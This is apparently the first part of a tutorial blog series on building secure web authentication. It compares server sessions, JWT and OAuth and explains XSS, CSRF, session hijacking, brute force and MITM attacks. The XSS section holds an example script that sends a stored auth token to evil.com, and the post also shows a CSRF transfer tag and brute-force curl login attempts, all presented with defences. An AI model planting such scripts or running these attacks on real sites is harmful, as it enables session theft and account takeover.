You've built a web application, and now you need to add user accounts. Simple enough, right? Create a login form, check the password, and... wait. How do you keep users logged in? How do you prevent attackers from stealing sessions? Should you use JWT tokens or traditional sessions? And what's this about httpOnly cookies?
Authentication seems simple on the surface, but doing it securely requires understanding several interconnected concepts. In this series, we'll build a production-ready authentication system from scratch, exploring each decision and its security implications.
By the end of this series, you'll understand not just how to implement authentication, but why each piece matters for security.
What We'll Build in This Series
We're going to create a complete authentication system using TypeScript and Node.js that includes:
Part 1 (This Post):
- ✅ Understanding authentication fundamentals
- ✅ Comparing different authentication methods
- ✅ Learning about common security vulnerabilities
Part 2:
- ✅ Implementing JWT-based authentication
- ✅ Secure password hashing
- ✅ httpOnly cookie sessions
Part 3:
- ✅ Protecting routes with middleware
- ✅ Building authentication guards
- ✅ Frontend integration
Part 4:
- ✅ Remember Me functionality
- ✅ Multi-user support with databases
- ✅ Protected content sections
Part 5:
- ✅ Security best practices
- ✅ Social login (OAuth)
- ✅ Production deployment checklist
Time estimate: The complete series will take 4-6 hours to work through.
Authentication vs Authorization
Before diving in, let's clarify two terms that are often confused:
Authentication answers: "Who are you?"
- Verifying user identity
- Login with username and password
- Proving you are who you claim to be
Authorization answers: "What can you do?"
- Determining user permissions
- Role-based access control (RBAC)
- Checking if you're allowed to perform an action
This series focuses primarily on authentication - getting users logged in securely. We'll touch on authorization when discussing protected routes, but full RBAC systems are beyond our scope.
The Problem: How Do We Keep Users Logged In?
HTTP is stateless - each request is independent and knows nothing about previous requests. When a user logs in successfully, how does the server remember them on the next request?
The Naive Approach (Don't Do This!)
// ❌ INSECURE - Never do this!
app.post('/api/data', (req, res) => {
const { username, password } = req.body;
if (username === 'admin' && password === 'secret') {
return res.json({ data: 'sensitive info' });
}
res.status(401).json({ error: 'Unauthorized' });
});
Why this is terrible:
- Sends password with every request - More opportunities for interception
- No session management - Can't log users out
- Vulnerable to replay attacks - Anyone who intercepts the password can reuse it
- No rate limiting - Brute force attacks are easy
We need a way to authenticate once and then maintain that authenticated state.
Authentication Methods Compared
There are three main approaches to handling authentication in web applications:
Method 1: Server-Side Sessions
How it works:
1. User logs in with credentials
2. Server creates session data, stores it in memory/database
3. Server sends session ID to client as cookie
4. Client includes session ID cookie with each request
5. Server looks up session data using the ID
Visual Flow:
Client Server
│ │
├─── Login (user/pass) ────────>│
│ │ Verify credentials
│ │ Create session in DB
│ │ sessionId: "abc123"
│ │ userId: 42
│ │ expires: tomorrow
│<─── Set-Cookie: sid=abc123 ───┤
│ │
├─── GET /profile ─────────────>│
│ Cookie: sid=abc123 │ Lookup session "abc123"
│ │ Found: userId = 42
│<─── User profile data ─────────┤
Pros:
- ✅ Simple conceptually
- ✅ Server has full control (can revoke sessions instantly)
- ✅ Can store arbitrary session data
- ✅ Well-understood and battle-tested
Cons:
- ❌ Requires server-side storage (memory/database)
- ❌ Difficult to scale horizontally (session synchronization)
- ❌ Not ideal for microservices or distributed systems
- ❌ Server must query storage on every request
Best for: Traditional monolithic applications, when you need instant session revocation.
Method 2: JWT (JSON Web Tokens)
How it works:
1. User logs in with credentials
2. Server creates JWT containing user info
3. Server signs JWT with secret key
4. Client stores JWT (localStorage, cookie, etc.)
5. Client includes JWT with each request
6. Server verifies JWT signature (no database lookup needed)
Visual Flow:
Client Server
│ │
├─── Login (user/pass) ────────>│
│ │ Verify credentials
│ │ Create JWT:
│ │ {userId: 42, exp: ...}
│ │ Sign with secret key
│<─── JWT token ────────────────┤
│ "eyJhbGc..." │
│ │
├─── GET /profile ─────────────>│
│ Authorization: Bearer JWT │ Verify JWT signature
│ │ Extract userId from token
│<─── User profile data ─────────┤
What's inside a JWT:
HEADER (algorithm used)
{
"alg": "HS256",
"typ": "JWT"
}
PAYLOAD (your data)
{
"userId": 42,
"username": "alice",
"exp": 1735689600
}
SIGNATURE (proves it's authentic)
HMACSHA256(
base64(header) + "." + base64(payload),
secret_key
)
Pros:
- ✅ Stateless - no server-side storage needed
- ✅ Easy to scale horizontally
- ✅ Great for microservices (each service can verify independently)
- ✅ Can include user data in token (reduce database queries)
- ✅ Works across domains (CORS-friendly)
Cons:
- ❌ Can't revoke tokens before expiration (without additional infrastructure)
- ❌ Tokens can become large if you store too much data
- ❌ If secret key is compromised, all tokens are invalid
- ❌ Requires careful expiration management
Best for: APIs, microservices, mobile apps, distributed systems.
Method 3: OAuth / Social Login
How it works:
1. User clicks "Login with Google"
2. Redirect to Google's login page
3. User authenticates with Google
4. Google redirects back with authorization code
5. Your server exchanges code for access token
6. Use token to get user info from Google
7. Create session/JWT for your application
Visual Flow:
Client Your Server OAuth Provider (Google)
│ │ │
├─ "Login with Google" ────────────────────────>│
│ │ │ User logs in
│<─────────────────────────── Redirect w/ code ─┤
│ │ │
├─ Callback w/ code ──>│ │
│ ├─ Exchange code for token ───>│
│ │<─ Access token ────────┤
│ ├─ Get user info ────────────>│
│ │<─ User email, name ─────┤
│ │ │
│ │ Create your own │
│ │ session/JWT │
│<─ Set-Cookie/JWT ────┤ │
Pros:
- ✅ Users don't need another password
- ✅ Social proof (verified email, real identity)
- ✅ Faster signup (fewer form fields)
- ✅ Offload security to OAuth providers
Cons:
- ❌ More complex to implement
- ❌ Depends on third-party service availability
- ❌ Privacy concerns (tracking)
- ❌ Still need fallback authentication method
Best for: Consumer applications, when you want social proof, when you want to reduce signup friction.
Comparison Table
| Feature | Server Sessions | JWT Tokens | OAuth |
|---|---|---|---|
| Scalability | Difficult (needs session sync) | Easy (stateless) | Easy |
| Storage | Server-side required | None required | Depends |
| Revocation | Instant | Difficult | Via provider |
| Size | Small (just ID) | Can be large | Varies |
| Security | Good (if httpOnly) | Good (if httpOnly) | Very good |
| Complexity | Low | Medium | High |
| Best for | Monoliths | APIs, microservices | Consumer apps |
Common Security Vulnerabilities
Understanding these attacks will help you make better decisions as we build our authentication system.
1. Cross-Site Scripting (XSS)
What it is: Attacker injects malicious JavaScript into your application.
The Attack:
// Attacker posts this comment on your site:
<script>
// Steal user's authentication token
fetch('https://evil.com/steal', {
method: 'POST',
body: localStorage.getItem('auth_token')
});
</script>
If you store auth tokens in localStorage:
// ❌ VULNERABLE
localStorage.setItem('auth_token', token);
// Attacker's script can access it:
const stolen = localStorage.getItem('auth_token');
Protection:
- ✅ Use httpOnly cookies (JavaScript can't access them)
- ✅ Sanitize all user input
- ✅ Use Content Security Policy (CSP) headers
- ✅ Never use
dangerouslySetInnerHTMLor equivalent
2. Cross-Site Request Forgery (CSRF)
What it is: Attacker tricks a logged-in user into performing actions without their knowledge.
The Attack:
<!-- Attacker's malicious website -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000">
<!-- If user is logged in to yourbank.com, this request
includes their session cookie automatically! -->
Protection:
- ✅ Use CSRF tokens for state-changing requests
- ✅ Check
OriginandRefererheaders - ✅ Use
SameSitecookie attribute - ✅ Require re-authentication for sensitive actions
3. Session Hijacking
What it is: Attacker steals a user's session identifier and impersonates them.
How it happens:
- Network sniffing (unencrypted HTTP)
- XSS attacks (stealing cookies)
- Session fixation attacks
- Physical access to device
Protection:
- ✅ Use HTTPS everywhere (encrypt all traffic)
- ✅ Use httpOnly and Secure cookie flags
- ✅ Regenerate session IDs after login
- ✅ Implement session timeouts
- ✅ Bind sessions to IP addresses (optional, UX trade-off)
4. Brute Force Attacks
What it is: Attacker tries many passwords until they find the right one.
The Attack:
# Automated script trying common passwords
curl -X POST /api/login -d '{"username":"admin","password":"password"}'
curl -X POST /api/login -d '{"username":"admin","password":"123456"}'
curl -X POST /api/login -d '{"username":"admin","password":"admin"}'
# ... thousands more attempts
Protection:
- ✅ Rate limiting (max attempts per IP)
- ✅ Account lockout after failed attempts
- ✅ CAPTCHA after several failures
- ✅ Strong password requirements
- ✅ Monitor for suspicious patterns
5. Man-in-the-Middle (MITM)
What it is: Attacker intercepts communication between client and server.
The Attack:
User ──────> Attacker ──────> Server
(reading
everything)
Protection:
- ✅ Use HTTPS/TLS for all traffic
- ✅ Implement HTTP Strict Transport Security (HSTS)
- ✅ Use certificate pinning for mobile apps
- ✅ Educate users about phishing
Why We're Choosing JWT + httpOnly Cookies
For this series, we're implementing JWT tokens stored in httpOnly cookies. This gives us the best of both worlds:
From JWT:
- ✅ Stateless authentication (easy to scale)
- ✅ Works great with APIs and microservices
- ✅ Can include user data in the token
From httpOnly Cookies:
- ✅ Protected from XSS (JavaScript can't access)
- ✅ Automatically sent with requests
- ✅ Secure and HttpOnly flags for protection
- ✅ SameSite attribute prevents CSRF
The Architecture:
Login Request
↓
Verify Credentials
↓
Create JWT with user data
↓
Sign JWT with secret
↓
Store in httpOnly cookie
↓
Send to client
Subsequent Requests
↓
Browser automatically includes cookie
↓
Server extracts JWT from cookie
↓
Verify JWT signature
↓
Extract user data from token
↓
Allow/Deny request
Trade-offs we're accepting:
- ❌ Can't revoke tokens before expiration (we'll use short expiration times)
- ❌ Need refresh token mechanism for long-lived sessions (we'll implement in Part 4)
- ✅ But we get great security, scalability, and performance
What's Next?
Now that you understand the fundamentals, we're ready to start building. In Part 2, we'll implement our JWT authentication system:
- Setting up a TypeScript/Node.js server
- Implementing login and logout endpoints
- Secure password hashing with bcrypt
- Creating and verifying JWT tokens
- Setting httpOnly cookies properly
- Testing our authentication
Prerequisites for Part 2
Before continuing, make sure you have:
Required:
- Node.js 18+ installed
- Basic understanding of TypeScript
- Familiarity with Express.js
- Understanding of async/await
Helpful but optional:
- Knowledge of HTTP headers and cookies
- Experience with REST APIs
- Basic security awareness
Summary
You've learned:
- ✅ Authentication vs Authorization - Who you are vs what you can do
- ✅ Three authentication methods - Sessions, JWT, and OAuth
- ✅ Security vulnerabilities - XSS, CSRF, session hijacking, brute force, MITM
- ✅ Why JWT + httpOnly cookies - Best balance of security and scalability
- ✅ What we're building - Complete authentication system in 5 parts
Resources
- JWT.io - JWT debugger and documentation
- OWASP Authentication Cheat Sheet
- MDN: HTTP Cookies
Ready to start coding? Continue to Part 2: Building JWT Authentication →
Questions or feedback? Understanding these fundamentals is crucial for building secure applications. Take your time with the concepts before moving to implementation.